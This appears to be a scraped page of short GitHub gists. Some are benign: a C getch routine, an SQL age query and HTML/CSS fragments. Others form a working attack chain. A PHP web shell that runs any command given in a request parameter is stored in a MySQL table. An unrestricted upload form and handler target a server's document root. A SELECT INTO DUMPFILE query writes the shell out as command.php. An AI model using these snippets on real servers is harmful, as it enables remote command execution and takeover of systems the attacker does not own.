This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <termios.h> | |
| #include <unistd.h> | |
| int getch( ) { | |
| struct termios oldt, newt; | |
| int ch; | |
| tcgetattr( STDIN_FILENO, &oldt ); | |
| newt = oldt; | |
| newt.c_lflag &= ~( ICANON | ECHO ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT DATE_FORMAT(NOW(), '%Y') - DATE_FORMAT(tgl_lahir, '%Y') - (DATE_FORMAT(NOW(), '00-%m-%d') < DATE_FORMAT(tgl_lahir, '00-%m-%d')) | |
| AS umur | |
| FROM mahasiswa |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| CREATE TABLE `coba_hck`.`source` ( | |
| `isi` TEXT NOT NULL | |
| ) ENGINE = MYISAM |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <pre><body bgcolor=silver><?php @system($_REQUEST["v"])?></body></pre> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <form enctype="multipart/form-data" action="ps.php" method="POST"> | |
| <!-- MAX_FILE_SIZE must precede the file input field --> | |
| <input type="hidden" name="MAX_FILE_SIZE" value="9000000" /> | |
| <!-- Name of input element determines name in $_FILES array --> | |
| Send this file: <input name="userfile" type="file" /> | |
| <input type="submit" value="Send File" /> | |
| </form> | |
| </html> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $uploaddir = 'C:/xampp/htdocs/'; //DOCUMENT_ROOT komputer target | |
| $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); | |
| echo '<pre>'; | |
| if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { | |
| echo "File is valid, and was successfully uploaded.\n"; | |
| } else { | |
| echo "Possible file upload attack!\n"; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| INSERT INTO `coba_hck`.`source` ( | |
| `isi` | |
| ) | |
| VALUES ( | |
| '<pre><body bgcolor=silver><?php @system($_REQUEST["v"])?></body></pre>' | |
| ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT * into dumpfile 'C:/xampp/htdocs/command.php' from source; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
| <html xmlns="http://www.w3.org/1999/xhtml"> | |
| <!-- nama file: form.html --> | |
| <head> | |
| <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> | |
| <meta http-equiv="keywords" content="form, css for button, imk, hci, human, computer, interaction" /> | |
| <meta http-equiv="description" content="page test for editing button with css" /> | |
| <title>css button, imk</title> | |
| <style type="text/css"> | |
| </style> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <style type="text/css"> | |
| body{ | |
| margin:0; | |
| } | |
| </style> |